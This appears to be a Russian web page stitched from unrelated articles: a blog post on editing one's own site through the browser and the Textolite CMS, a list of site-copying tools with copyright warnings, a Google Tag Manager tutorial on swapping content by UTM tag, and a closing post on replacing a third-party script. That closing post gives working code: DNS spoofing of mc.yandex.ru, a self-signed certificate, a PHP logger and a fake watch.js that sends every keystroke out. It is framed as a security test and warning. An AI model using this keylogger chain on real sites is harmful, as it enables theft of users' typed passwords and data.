Как изменить данные чужого сайта

Сегодня будем рассматривать тему редактирование сайта в браузере онлайн. Есть множество вариантов для такого редактирования сайта.

Прежде всего, давайте немного разберемся в терминологии!

Как редактировать свой сайт через браузер?

«Как редактировать свой сайт через браузер» — что конкретно вы имеете ввиду, говоря данные слова!? Попробуем вывести несколько вариантов ответа на вопрос редактирования сайта через браузер!

О редактирование сайтов онлайн

1. Редактирование сайта через браузер — через код.
2. Теория о редактировании сайта через браузер — с сохранением изменений.
3. Редактирование сайта через браузер — с сохранением изменений.
4. Редактирование сайта с помощью CMS Textolite
5. Редактирование сайта поисковые запросы
   1. Существует ли браузер с возможностью редактирования
   2. Самый удобный способ редактировать сайт
   3. Сайты, которые можно редактировать в реальном времени
   4. Можно ли редактировать сайт без интернета
   5. За гранью добра и зла…

Видео — как редактировать сайт через браузер?

Друзья!

Мне очень нужны подписчики!
Пожалуйста подпишись на Дзене!
Заранее спасибо!

Редактировать свой сайт онлайн

Редактирование сайта через браузер — через код.

Самый простой и первый вариант редактирования сайта через браузер — открыть код страницы, ПКМ нажимаем по странице ищем просмотреть код(либо исходный код – в разных браузерах по-разному.) Нашли стили для данного блока — мы можем отредактировать стили, данного блока! Редактировать Php так не получится, а Js — не очень удобно — лучше через программу Notepad

Нажмите, чтобы открыть в новом окне.



Я пользовался этим способом, когда требуется изменить что-то на сайте и тут же вы видите результат, как это будет выглядеть. Нужно, когда…, например, изменить стили, вид страницы сайта.

Никак сохранить данные изменения не представляется возможным – нужно скопировать соответствующие изменения, поместить туда, где они должны находиться в файлах, сохранить, обновить данный файл на сервере.

Теория о редактировании сайта через браузер — с сохранением изменений.

Для того чтобы редактировать и сохранять измененные данные прямо через браузер необходимы некие условия! Просто так из ниоткуда, как манна небесная это не произойдет!

Если я захожу на свой сайт, то вижу не то, что видите вы, у меня появляются некоторые кнопки, которые позволяют редактировать сайт :



Для иллюстрации выше сказанного посмотрите видео — это будет лучше всяких написанных слов :

Друзья!

Мне очень нужны подписчики!
Пожалуйста подпишись на Дзене!
Заранее спасибо!

Редактирование сайта через браузер — с сохранением изменений.

Теперь разберемся с новым заголовком, как происходит процесс редактирования сайта с сохранением изменений.На вашем сайте должен быть соответствующий алгоритм, который может открыть,

1.) либо файл для редактирования (если данные находятся в файлах),
2.) либо открыть базу данных для редактирования соответствующей записи в ней, относящейся к вашей странице.
3.) У вас должны быть соответствующие права – например админа (мы делали несколько видов админок ), для того, чтобы никто, кроме вас не мог изменить то, что должны менять только вы.
4.) Если у вас подразумевается наличие пользователей, то необходимы соответствующие алгоритмы. Которые позволят редактировать пользователю свои данные.

Либо(это уже не относится к редактированию сайта через браузер, но пару слов все равно надо сказать!) Получаем доступ к сайту через ftp, далее вам понадобится программа -> filezilla, которая соединиться с сервером. Если ваша страница на компьютере, то редактируем её, соединяемся по ftp, загружаем её на сервер!

5.) В принципе, верхние 4 пункта – это самые малые требования для движка. Но не обязательно чтобы это был движок, как например на данном сайте.
У меня есть система авторизации и когда я захожу на страницу, то вижу вот такую картину, Где есть несколько параметров, редактировать страницу , удалить страницу, войти.

Как работает та строка, которая называется редактировать – нажимаем кнопку редактировать и попадаем на другую страницу, которая получает с помощью скрипта все данные этой страницы(файла) через метод post(отправляет только данные из адресной строки, а скрипт, по адресной строке вытаскивает данные из файла) и попадаем вот на такую страницу(это может быть реализовано по разному, но принцип везде одинаковый, получить данные, отредактировать, сохранить!)

Это можно назвать самописной CMS по управлению сайтом.

Нажмите, чтобы открыть в новом окне.



Сегодня, на момент редактирования данной страницы, весь текст выше данной строки, о редактировании сайта через браузер я написал 11.10.2019. , а все остальное было написано, еще при царе горохе!

Система интересная и… я бы наверное до сих пор бы пользовался ею, если бы не мое продвижение в изучении Php и JS

---

Конечно, эта система в основном заточена под редактирование сайтов на HTML, но у меня сайты на Php и мне очень понравилась данная система, что если, например, я нашел какую-то ошибку в тексте, то мне достаточно изменить адрес данной страницы в адресной строке и выйдет редактор онлайн, в которой можно редактировать данную страницу.

И да! Если у вас файл по адресу не существует, то данная система вам не поможет! Например в том случае, когда у вас на сайте единая точка входа.

Редактирование сайта с помощью CMS Textolite

Данная система называется Textolite.
И ещё + здесь показана расширенная — платная версия, но я пользуюсь урезанной — бесплатной версией и меня в принципе она удовлетворяет!

Видео как работает редактирование сайтов онлайн.

Друзья!

Мне очень нужны подписчики!
Пожалуйста подпишись на Дзене!
Заранее спасибо!

Что такое Textolite!?

Textolite – это мини cms, которая позволяет редактировать сайт онлайн. В установленном виде имеет вес в 150 кб.

Как установить Textolite!?

Сначала нужно скачать Textolite

Далее просто из архива переносим на сайт. Открываем его по соответствующему адресу.

И будет такая страница входа.



По умолчанию пароль admin – данный пароль нужно изменить в настройках.

И после входа мы идем в файлы и открываем тот файл, который вам нужен. Но когда я, например нашел ошибку на сайте, то достаточно в адрес сайта, ну например https://dwweb.ru/_адрес_страницы изменить на https://dwweb.ru/Textolite/_адрес_страницы – открывается панель входа, после ввода пароля вы попадете на эту страницу. Которая только, что была открыта! Это очень удобно! Не нужно открывать несколько программ, редактировать в программе, потом загружать на сайт . Естественно, надо понимать, что папку Textolite надо переименовать, для избегания нахождения точки входа и подбора пароля…



Далее выбираем, либо текстовый вариант, т.е вы можете редактировать текст онлайн на странице без кода.



Либо выбираем код, если ваша страница имеет разрешение html, то будет кнопка html, если php, то и кнопка будет php. Нажимаем и показывается весь код страницы. Теперь можно отредактировать страницу сайта через код.



Ну и последнее – это настройка. Где можно изменить пароль доступа, отображение и др. И в том числе купить расширенную версию cms Textolite

Поисковые запросы на тему Редактирование сайтов онлайн

О поисковых запросах, которые кроме того, могут быть
смайлы,
смайлы,
смайлы и т.д.

Существует ли браузер с возможностью редактирования.

Любой браузер имеет возможность редактирования данных — здесь дело не в браузере!

Данный вопрос : «существует ли браузер с возможностью редактирования«, можно разложить на два ответа:

самый удобный способ редактировать сайт

Что значит ->

самый удобный способ редактировать сайт

— самый удобный способ редактировать свой сайт — это когда есть возможность редактирования, либо его нет!

Мой способ редактировать свой сайт — самый удобный, потому, что я каждый раз делаю какие-то изменения и в процессе редактирования скриптов и сайта прихожу к тому, чего я хочу!

Можно ли редактировать сайт в каком-то движке ничего не понимая!?

Нет нельзя… вы хотя бы должны знать какие-то основы… установка движка, а прежде… у вас должен быть домен с хостингом.

При малейшей ошибке, что вы намереваетесь делать!?

Друзья!

Мне очень нужны подписчики!
Пожалуйста подпишись на Дзене!
Заранее спасибо!

Сайты, которые можно редактировать в реальном времени!?

Первое что меня в этом смущает

Сайты

…

Т.е. вам нужен не один, а несколько сайтов.

Далее вообще:

Сайты, которые можно редактировать в реальном времени

…

Любое редактирование будет происходить в реальном времени!

Друзья!

Мне очень нужны подписчики!
Пожалуйста подпишись на Дзене!
Заранее спасибо!

можно ли редактировать сайт без интернета

Если ваш сайт находится, например в файлах, как например наш сайт, то сделать это легче легкого!

Поскольку на компьютере есть копия нашего сайта, то открываем нужную папку, нужный файл и редактируем!

Как это сделать с базой данных!?

Скорее всего есть инструменты которые могут открыть файл базы данных и отредактировать там ваши данные!

За гранью добра и зла…

программа для редактирования сайтов чужих

Отличный поисковый запрос! Хочется спросить —

ТЫ ЧЁ ДЭБИЛ!?

что вбивать чтобы редачить свой сайт

Потрясающий поисковый запрос что вбивать чтобы редачить свой сайт — об этом даже и сказать нечного! Я в шоке от постановки вопроса!

Браузер для редактирования?

Дурень! Браузера для редактирования не существует! Для того, чтобы отредактировать свой сайт, необходимы несколько условий! Как минимум нужно иметь доступ по ftp — это редактирования файлов. Чтобы редактировать в браузере, нужны созданные скрипты, которые позволят зайти в админку и уже откуда редактировать сайт!

что ввести чтобы редактировать сайты

Отличный поисковый запрос: «что ввести чтобы редактировать сайты» :

Ответ:

Если на сайте предусмотрено редактирование сайта онлайн, то это можно узнать в аннотации к движку!

Пример:

У меня самописный движок и мне ничего не нужно никуда вводить, чтобы редактировать страницу, для этого, после активации сессии админа в правом нижнем углу есть несколько кнопок:

с чего начать редактирование стороннего сайта?

Еще один поисковый запрос:

с чего начать редактирование стороннего сайта

Если слово «стороннего» равно слову «чужого», то начать нужно с:

Можете не благодарить, лучше помогите!

COMMENTS+

 
BBcode

Иногда бывает, что нужно скопировать чужой сайт с дизайном и контентом, чтобы впоследствии переделать его под себя. Например, чтобы разработать похожий дизайн на основе того, который понравился вам. В статье хоть и рассматриваются способы копирования чужих сайтов, мы надеемся, что вы будете это делать в законных целях и не плагиатить дизайн и контент. Потому что это — незаконно, так как вы нарушаете авторские права.

Способы копирования любого сайта и его отдельных частей

Чтобы скопировать чужой сайт на WordPress, Tilda или Wix, можно использовать как отдельные программы, так и парсеры с онлайн-сервисами. Мы их рассмотрим, но сначала поговорим про самый простой способ — это просто сохранение сайта через контекстное меню.

Сохранение через команду «Сохранить как». Достаточно перейти на нужный сайт и вызвать контекстное меню. В нем выберите команду «Сохранить как» — после этого на компьютер можно сохранить страницу в формате HTML. Но проблема этого способа в том, что не всегда страница копируется корректно и чаще медиа-контент не сохраняется. Также получится сохранить ТОЛЬКО страницу — для многостраничных сайтов это проблемно, потому что придется сохранять все по отдельности.

Парсеры для WordPress. Чаще парсеры — это плагины, которые позволяют искать любой контент на сайтах и копировать его в нужном формате. Мы рассмотрим несколько эффективных парсеров, с помощью которых можно скопировать части контента или медиа-контента с сайтов, а также сайты целиком.

Wpgrabber — пожалуй, самый известный парсер среди арбитражников, который позволяет копировать любой контент не только с сайтов, но и из социальных сетей. При этом можно скопировать и медиафайлы. После установки плагина в него можно интегрировать сайт на WordPress — автоматически весь скопированный контент будет переносится на сайт в зависимости от настроек плагина. Есть возможность получать контент с иностранных сайтов, который автоматически будет переводится на нужный язык.

Scrapes — парсер, с помощью которого можно копировать отдельные страницы сайта или просто нужные материалы из них. То есть не проблема просто взять отдельный блок, который вам понравился, и скопировать его, чтобы позже придумать что-то свое на основе материала. Работать придется с селекторами, но все это автоматизировано в визуальном плане — достаточно выделить нужный блок сайта и выбрать место, куда он скопируется.

Teleport Pro — парсер помогает копировать сайты по урлу, причем структура полностью сохраняется. Одно из преимуществ — это возможность выбирать типы файлов, которые нужно скопировать. Например, если нужен только текст или картинки, это можно отметить в настройках, и парсер сохранит только их.

Программы. Есть полноценные программы, которые можно установить на компьютер. После установки достаточно вставить ссылку на нужный сайт, и система подготовит архив — его уже можно добавить на нужный хостинг.

Wget — это бесплатная программа. Чтобы с ней работать, главное правильно установить. О программе в целом подробнее можно прочитать на Википедии. После установки нужно скопировать адрес сайта и вставить его в командную строку программы. Когда копирование завершится, придет оповещение — потом уже можно без проблем перенести сайт или лендинг на движок или в конструктор. Заметьте, что здесь можно копировать полноценные сайты, а не только отдельные страницы.

Cyotek WebCopy — это программа, которая по функционалу очень похожа на Wget. Для работы ее нужно скачать, а потом установить обычным способом. Уже после остановки можно запускать копирование — в командную строку просто вставьте урл на нужный сайт и скопируйте его на компьютер.

Offline Explorer Enterprise — удобная программа, которая позволяет загружать на жесткий диск сайты и страницы в различных форматах. Есть обычная версия, но она ограниченная — она дает возможность только загружать небольшие страницы и сайты. Ее стоимость около 50 долларов. Если нужно работать с многовесными сайтами, лучше покупать тариф побольше.

Copyland.pro — это шаблон, который разрабатывался специально для копирования сайтов и лендингов. Его можно скачать и сразу же начать копирование на компьютер. Однако есть нюанс — важно, чтобы на компьютере была установлена программа ZennoPoster версии Lite/Standart/Pro не ниже 5.9.9.1

SiteSucker — это программа для тех, кто используют MacOS, поэтому для Windows она не подойдет. Утилита платная — 4,99 долларов. Она загружает все файлы на сайте, то есть выбрать, что именно нужно загружать, не получится. Из-за этого и загрузка может идти длительно — нужно стабильное интернет-соединение, чтобы загрузка не прерывалась на середине. Также вес файлов может быть большой — к этому нужно быть готовым.

Оффлайн-браузеры. Это также программы, которые позволяют сразу искать сайты и копировать их.

WebZIP — это оффлайн-браузер, который помогает искать и сразу же загружать сайты и страницы целиком в формате архива.

Httrack — это оффлайн-браузер, который помогает загружать любые страницы и сайты и копировать их на локальный компьютер. Вся структура сайта сохраняется, также есть возможность исключать определенные типы файлов.

Website Ripper Copier — удобный оффлайн-браузер, который может загружать отдельные веб-сайты, а также некоторые данные с них. Для этого нужно в настройках отметить, что нужно скачивать с сайта.

Онлайн-сервисы. Это отдельные сервисы, которые позволяют просто вставить адрес сайта и скопировать его.

SaveWeb — это сервис, который позволяет копировать сайт, страницу, лендинг. На выходе вы получаете готовый архив, который можно выгрузить на движок или конструктор. Делает он все быстро, а также бесплатно.

Sitecopy.pro — это сервис, который позволяет сделать копию любого сайта или лендинга, а также предлагает специализированную помощь по уникализации контента, текстов и дизайна. Кроме того, на странице есть удобная система по оцениванию стоимости услуги — достаточно обозначить, что вы будете делать с копией, и система выведет примерную стоимость.

Archivarix — онлайн-сервис, с помощью которого можно загрузить до 200 МБ данных с любого сайта. Нюанс сервиса в том, что он полностью англоязычный.

Что делать, если ничего не помогает скопировать сайт целиком

Если сайт делают толково, то чаще его защищают от всякого копирования. И это может повлиять на копию, если ее получилось сделать, — например, сохранится только HTML, но медиа не пройдет. В этих случаях, если у вас есть такая возможность, можно самостоятельно склепать недостающие части сайта или заново сделать его верстку на основе кода.

Другой вариант, возможно, будет более дорогостоящим — это обратиться к фрилансерам. На многих биржах фриланса вроде Kwork или SuperJob, можно найти объявления фрилансеров, которые предлагают услугу копирования сайта. Они просто вам склепают качественную копию, в некоторых случаях помогут и в уникализации.

Как уникализировать сайт после копирования

Чтобы уникализировать сайт, который вы получили в формате HTML-кода, разумеется, придется работать с кодом. Но не волнуйтесь — знать в совершенстве кодирование необязательно, потому что нужно только заменять, а не создавать новое. Основная часть уникализации происходит через CSS.

CSS — код, по сути язык таблицы стилей. Если в нем заменить некоторые данные, можно серьезно изменить вид сайта. Логика такая — у каждого элемента html есть свои значения в языке стилей. Если эти значения поменять для одного или другого элемента, то он изменится. Например, цвет, размер, перспектива и так далее.

Давайте на четком примере — скажем, вам нужно заменить цвет текста на странице с белого на черный. Тогда придется открыть файл что-тотам.html — то есть копию нужного сайта. Внутри файла в текстовом виде будет начальный блок с данными <head> </head>, и внутрь него достаточно поместить название текстового документа, который вы создадите для CSS.

Делается это так — зайдите в текстовый редактор и просто введите в него текст в три строки:

p {  

  color: black;

}

Этот код меняет цвет обычного текста на странице. Файл нужно сохранить в формате название.css в отдельную папку. Название файла и папки и вставляется в код между тегами <head> </head>. Просто найдите в тексте кода название в таком формате название папки/название.css и вставьте новое.

Чтобы и дальше поработать со всеми данными в CSS, достаточно понять логику составления кода. У нас есть наглядный пример:

p {

  color: black;

}

В данном случае p означает обычный текст — то есть это значение селектора. И если нужно изменить характеристики, например, заголовка, то вместо p ставим H1.

Color — это и есть название характеристики. То есть вместо color можно поставить значение background-color, и тогда будет меняться цвет фона текста или плашки.

И последнее — это сама характеристика, которую мы и будем заменять. В данном случае мы поменяли цвет обычного текста с белого на черный.

Если изменять эти части в html, можно изменить текст, плашки, их оформление. Главное запомнить, по какой логике пишется код стиля, а также все его значения, чтобы постоянно не искать. Изучить все тонкости CSS можно по ссылке.

Кроме того, уникализация — не единственная необходимость. Если сайт скопированный, внутри его кода остаются все данные предыдущего владельца — это и ссылки, и скрипты, и данные счетчиков и Метрик. Поэтому важно убрать всю эту информацию и по необходимости заменить на новую.

Что будет, если я изменю сайт незначительно и использую чужой дизайн и верстку

Как мы уже говорили, плагиат — это противозаконно. Хоть на это нечасто обращают внимание, все равно это сделать могут, и тогда придется платить компенсацию и удалять сайт или заменять его. Мы хотим подробнее рассказать, что будет, если вы сплагиатите чужой сайт.

Конечно, за то, что вы просто использовали чей-то небольшой сайт и не монетизировали его, скорее всего, вы получите просто административный штраф. И это только в случае, если нарушение действительно заметят. Иногда мелкие правонарушения просто игнорируют, даже владельцы сайтов.

Но если стоимость сайта выйдет более 100 тысяч рублей, можно нарваться на уголовную ответственность. В таком случае это выглядит так: вы присваиваете себе чужую интеллектуальную собственность и получаете доход с ее помощью. Если владелец оценивает стоимость свыше 100 тысяч, тогда, по уголовному кодексу, могут назначить штраф более 200 тысяч рублей.

Другие возможные меры пресечения:

• штраф размером в заработную плату за последние 18 лет;
• обязательные работы сроком до 480 часов;
• исправительные работы на период до 12 месяцев;
• арест и содержание под стражей в период до полугода.

Напомним, что все доказывание будет происходить в суде, и издержки также придется оплатить. Но в случае, если нарушение не посчитают уголовной ответственностью, могут назначить гражданскую. В таком случае придется выплачивать компенсацию в размере 10 тысяч рублей, а также издержки за судопроизводство.

Вывод

Чтобы скопировать чужой сайт, есть немало программ, плагинов и онлайн-сервисов, и многие из них бесплатные. В любом случае всегда есть способ сохранить сайт через команду «Сохранить как». Данные сайтов важно уникализировать и переделывать под себя, даже если другой сайт принадлежит тоже вам. Потому что уникальность влияет на ранжирование в поисковиках. Не используйте чужие сайты, потому что это плагиат и нарушение прав на интеллектуальную собственность. За это можно получить немалый штраф, в некоторых случаях — арест.

В статье расскажу, как без сервисов и костылей делать подмену контента на сайте в зависимости от UTM-метки или любого другого параметра из URL. Зачем = для повышения конверсии.

Что такое подмена контента и зачем нужна

Предположим, вы автосервис и у вас куча различных направлений по услугам.

У вас в наличии простой лендинг, где все услуги и вся информация в одной куче. Один заголовок, одно описание на все направления.

Вы запускаете контекстную рекламу и у вас получилось 3 отдельных рекламных кампании:

Логично — чтобы конверсия была выше, для каждого сегмента ЦА нужен индивидуальный посыл. Кто ищет кузовной ремонт — нужно показать на первом экране заголовок и выгоды по кузовному ремонту, кто хочет удалить катализатор — надо показывать другой контент и т.д

Чтобы это реализовать, нужно либо писать скрипт, либо использовать сервисы (например YAGLA), либо можно использовать встроенный функционал конструкторов (например в Tilda).

Итого: подмена контента нужна для создания индивидуального предложения определенному сегменту ЦА, что в свою очередь повышает конверсию.

Как это работает

Подмена контента осуществляется по данным из UTM-метки или параметра URL.

Это может быть utm_campaign, utm_content, utm_term, можно прописать любые свои параметры — ?parametr=raz-dva-tri.

Минус сторонних сервисов и самописных скриптов — это “костыли” с ограниченным функционалом + если писать скрипты, нужно уметь кодить + сервисы стоят денег.

Как замутить самому, без сервисов и костылей

Использовать крутой, всем доступный и бесплатный инструмент — Google Tag Manager.

Это менеджер тегов, с помощью которого вы можете на лету вносить изменения в код сайта (в DOM-дерево).

Установка GTM

Регаемся, создаем контейнер, указываем веб-сайт, получаем код и добавляем по инструкции на свой сайт.

Как делать подмену контента по UTM-метке в GTM

Начинаем колдовать.

1. Получаем значение из UTM-метки или параметра URL

Заходим в раздел “Переменные” -> жмем создать.

Пишем имя переменной, жмем на конфигурацию. Выбираем тип переменной — URL.

Выбираем “тип компонента” — > Запрос.

В поле “Ключ запроса”, пишем метку, из которой будем брать данные, например это utm_term.

Сохраняем переменную.

2. Создаем триггер

Переходим в раздел триггеров: жмем создать, пишем имя.

Выбираем тип триггера — просмотр страницы.

Выбираем, когда активировать триггер: берем нашу переменную из предыдущего шага — “UTM_term”. Выбираем и пишем “Содержит: keyword”.

Логика простая, когда пользователь смотрит страницу с нужной вам UTM-меткой, срабатывает триггер, который активирует ТЕГ, а тег изменяет код на сайте.

3. Создаем тег подмены

Переходим в раздел Теги.

Жмем создать, пишем имя.

Далее в конфигурации тега, выбираем “Пользовательский HTML”.

В триггерах выбираем наш созданный триггер.

В HTML пишем JS код (это лишь пример, JS код у каждого будет индивидуальный):

Что делает этот код

В переменную X берем заголовок H1, т.е с помощью getElementsByTagName мы ищем в коде (дереве) сайта элемент H1.

Далее, обращаемся к массиву переменной X и задаем параметру innerHTML нужное значение.

Profit.

Получается, вы можете крутить-вертеть как угодно, подменять контент на лету на динамические параметры и пр.

Суть метода в двух словах:

В переменную GTM мы помещаем “ключ”, по которому будем менять контент.

Через триггер мы ловим этот ключ, из-за триггера срабатывает тег -> выполняется JS код и меняет контент на сайте.

Под каждый креатив, рекламную кампанию, ключевое слово — вы можете показывать разный контент, подменяя заголовки, картинки, текст и что угодно.

Из примера выше, получается, когда utm_term будет содержать keyword, заголовок на сайте подменится на “ваш новый заголовок”.

Еще раз

Предположим, в одной рекламной кампании, в контексте, у вас есть 2 группы ключей:

Вы хотите, чтобы по монтажу на лендинге был заголовок “Монтаж”, по демонтажу “Демонтаж”.

Все просто = в триггере, который “ловит ключ”, указываем — “содержит: монтаж” и “не содержит: демонтаж”.

Profit.

GTM очень гибкий инструмент. Нужно лишь немного понимать верстку и уметь гуглить куски JS кода.

Выводы

Рекомендую потестить всем, кто льет трафик на лендинги. Более глубокая сегментация и разный контент под каждый сегмент ЦА может сильно повысить конверсию и отдачу от рекламы.

Еще, например, можно запустить сплит-тест и посмотреть, какие заголовки и текст принесут больше конверсий (хотя более удобный инструмент для а/б тестов — Google Optimize).

Итак, допустим, перед вами возникла задача заменить какой-то ресурс чужого сайта. Цели сугубо технические, в моем случае это было тестирование доступности данных в личном кабинете для сторонних скриптов. Я для теста выбрал watch.js от Метрики.

Для начала необходимо заспуфить DNS.
Прописал себе в unbound

соответственно, mc.yandex.ru стал вести ко мне на сервер.
В nginx сделал секцию, чтобы вебсервер признавал этот домен

сегенерировал сертификаты в этой директории

#!/bin/bash
openssl genrsa -out server.key 1024
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 700 -in server.csr -signkey server.key -out server.cert

server.cert импортнул в Firefox, а в /mnt/q/metrika создал файлики
pp.php

<?php
header("Access-Control-Allow-Origin: *");
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");

file_put_contents('/mnt/q/metrika/keys.log',$_GET['k'],FILE_APPEND);
?>

и watch.js

var ops;
var http;
if (!ops){$(document).keypress(function(e){
http.open("GET","https://mc.yandex.ru/metrika/pp.php?k="+encodeURI(String.fromCharCode(e.which)), true );
http.send();
});
ops=true;
http=new XMLHttpRequest();
}

вот, вроде бы и все…

Суть происходящего в следующем. Какой бы защищенный сайт не был, если он включает внешний ресурс, то браузер пользователя можно обмануть и сказать, что сервер с ресурсом находится в другом месте (спуф DNS), что он доверенный (подкладывание сертификата), и далее, собственно, можно отдать любой скрипт (мой вариант отсылал мне все нажатия клавиш на странице). Обратите внимание, что подложить сертификат вам может любой, кто имеет доступ к вашему браузеру (совсем необязательно админские права). А уж вирус с админскими правами или админ домена, например, могут и заспуфить домен через hosts или общий сервер, и сертификат в систему воткнуть… Настаивать на том, что это страшная дыра не буду, но при планировании ресурса надо о такой возможности помнить.